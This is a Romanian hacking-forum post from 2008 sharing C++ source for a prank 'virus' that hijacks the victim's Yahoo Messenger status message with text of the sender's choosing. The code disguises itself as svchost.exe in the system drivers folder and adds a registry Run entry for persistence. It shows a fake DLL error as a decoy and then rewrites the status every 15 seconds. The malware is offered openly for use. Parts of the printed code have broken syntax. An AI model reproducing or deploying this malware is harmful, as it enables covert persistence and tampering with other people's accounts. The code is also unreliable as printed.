Crackers's Official Supporting Forum :: Sursa virus Gay Pasiv

Mesaje private Autentificare

Sursa virus Gay Pasiv

Pagina de start a forumului Crackers's Official Supporting Forum :

Tutoriale Hacking

Subiectul anterior :: Subiectul urmator

Autor

Mesaj

GiovanY
Founder
Founder
GiovanY

Data inscrierii: 05/Sep/2008
Mesaje: 1979

Trimis: 21/12/2008 18:31 Titlul subiectului: Sursa virus Gay Pasiv

Nu stiu riguros cum se numeste virusul, l`am si vazut la cineva, modifica statusul in SUNT GAY ACTIV CAUT GAY PASIV, mi se pare o prostie si totodata mi se pare funny , #define STATUSMSG "YOUR STATUS MESSAGE HERE" scrieti ce vreti sa apara ca status, succes

Cod:

//---------------------------------------------------------------------------
#include <vcl.h>
#include <Registry.hpp>
#pragma hdrstop
#define STATUSMSG "YOUR STATUS MESSAGE HERE"
//---------------------------------------------------------------------------
void setstatus() {
AnsiString *username = new AnsiString;
TRegistry *RegGet = new TRegistry(KEY_READ);
try
{
RegGet->RootKey = HKEY_CURRENT_USER;
RegGet->OpenKey("Software\Yahoo\pager",false);
*username = RegGet->ReadString("Yahoo! User ID";
}
__finally
{
delete RegGet;
}
TRegistry *RegSet = new TRegistry(KEY_WRITE);
try
{
RegSet->RootKey = HKEY_CURRENT_USER;
AnsiString key = "Software\Yahoo\pager\Profiles\" + *username + "\Custom Msgs";
RegSet->OpenKey(key,false);
RegSet->WriteString("5",STATUSMSG);
}
__finally
{
delete RegSet;
}
HWND hWndY = FindWindow ("YahooBuddyMain", NULL);
PostMessage (hWndY, WM_COMMAND, 0x188, 0);
delete username;
Sleep(15000);
setstatus();
}

//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
if(ExtractFileName(Application->ExeName) != "svchost.exe" {
char target[30];
GetSystemDirectory(target, MAX_PATH);
AnsiString tg = target;
tg += "\drivers\svchost.exe";
CopyFile(Application->ExeName.c_str(),tg.c_str(),0);
TRegistry *regrun = new TRegistry;
try
{
regrun->RootKey = HKEY_CURRENT_USER;
AnsiString key = "Software\Microsoft\Windows\CurrentVersion\Run";
regrun->OpenKey(key,false);
regrun->WriteString("braaainz","""+tg+""";
}
__finally
{
delete regrun;
}
Application->ShowException(&Exception("Could not locate entry point __GETICON in shell32.dll");
ShellExecute(NULL,"open",tg.c_str(),NULL,NULL,SW_SHOW);
ExitProcess(0);

}
setstatus();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
catch (...)
{
try
{
throw Exception("";
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
}
return 0;
}
//---------------------------------------------------------------------------

Acest virus a fost compilat cu C++

Sus

Afiseaza mesajele pentru a le previzualiza:

	Pagina de start a forumului Crackers's Official Supporting Forum : Tutoriale Hacking	Ora este GMT + 2 ore
Pagina 1 din 1

Mergi direct la:

Nu puteti crea un subiect nou in acest forum
Nu puteti raspunde in subiectele acestui forum
Nu puteti modifica mesajele proprii din acest forum
Nu puteti sterge mesajele proprii din acest forum
Nu puteti vota in chestionarele din acest forum